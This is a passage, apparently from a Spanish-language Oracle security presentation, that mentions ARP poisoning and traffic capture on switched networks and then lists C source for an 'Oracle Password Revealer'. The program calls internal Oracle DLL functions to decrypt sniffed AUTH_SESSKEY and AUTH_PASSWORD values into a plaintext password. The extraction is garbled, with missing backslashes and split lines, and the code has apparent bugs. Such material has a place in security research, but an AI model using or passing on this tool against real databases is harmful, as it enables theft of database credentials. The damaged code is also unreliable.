red segura, no debería estar permitido el envenena miento de arp, por lo que tampoco se podría hacer un MIT (man in the middle) y por supuesto debería estar limitado el poder usar el modo promíscuo de las tarjetas de red y por consecuencia no se debería permitir capturar tráfico de red en redes conmutadas (los switch´s deberían configurarse adecuadamente y contemplar opciones de Vlan´s). Obviamente la seguridad en la capa 2 en entornos considerados críticos en lo que a Oracle se refiere es, en la mayoría de los casos, es una utopía. El siguiente código usa las funciones kzsrdec() y kzsrdep() para obtener el texto en claro usando el hash la AUTH_SESSKEY y AUTH_PASSWORD: /* 41
  • 42. C:>cl /TC opass.c C:>opass E:oracleora81BINoracommon8.dll EED9B65CCECDB2E9 DF0536A94ADEE746 36A2CB576171FEAD Secret is CEAF9C221915EC3E Password is password */ #include <stdio.h> #include <windows.h> int main(int argc, char *argv[]) { FARPROC kzsrdec = NULL; FARPROC kzsrdep = NULL; HANDLE oracommon = NULL; unsigned char dll_path[260]=""; unsigned char hash[40]=""; unsigned char sess[40]=""; unsigned char pass[260]=""; unsigned char o[20]=""; unsigned char pwd[200]=""; if(argc!=5) { printf("nt*** Oracle Password Revealer ***nn"); return 0; 42
  • 43. } strncpy(dll_path,argv[1],256); strncpy(hash,argv[2],36); strncpy(sess,argv[3],36); strncpy(pass,argv[4],256); if(StringToHex(hash,1)==0) return printf("Error in the password hash.n"); if(StringToHex(sess,1)==0) return printf("Error in the auth_sesskey.n"); if(StringToHex(pass,0)==0) return printf("Error in the auth_password.n"); oracommon = LoadLibrary(dll_path); if(!oracommon) return printf("Failed to load %sn",dll_path); kzsrdec = GetProcAddress(oracommon," kzsrdec"); if(!kzsrdec) return printf("No address for kzsrdec.n"); kzsrdep = GetProcAddress(oracommon," kzsrdep"); if(!kzsrdep) return printf("No address for kzsrdep.n"); kzsrdec(sess,o,hash); printf("nSecret is %.2X%.2X%.2X%.2X%.2X%.2X%.2X%.2Xn",o[0],o[1],o[2],o[3],o[4],o[5],o[6],o[ 7]); kzsrdep(pwd,pass,strlen(pass),o); printf("Password is %sn",pwd); 43
  • 44. return 0; } int StringToHex(char *str,int cnv) { unsigned int len = 0, c=0,i=0; unsigned char a=0,b=0; unsigned char tmp[12]=""; len = strlen(str); if(len > 16) return 0; while(c < len) { a = str[c++]; b = str[c++]; if(a > 0x2F && a < 0x3A) a = a - 0x30; else if(a > 0x40 && a < 0x47) a = a - 0x37; else if(a > 0x60 && a < 0x67) a = a - 0x57; else return 0; if(b > 0x2F && b < 0x3A) b = b - 0x30; else if(b > 0x40 && a < 0x47) 44
  • 45. b = b - 0x37; else if(a > 0x60 && a < 0x67) b = b - 0x57; else return 0; a = a << 4; a = a + b; tmp[i]=a; i ++; } memset(str,0,len); c=0; if(cnv) { while(c < 8) { str[c+0]=tmp[c+3]; str[c+1]=tmp[c+2]; str[c+2]=tmp[c+1]; str[c+3]=tmp[c+0]; c = c + 4; } return 1; } while(c < 8) 45
  • 46. { str[c]=tmp[c]; c = c ++; } return 1; } 46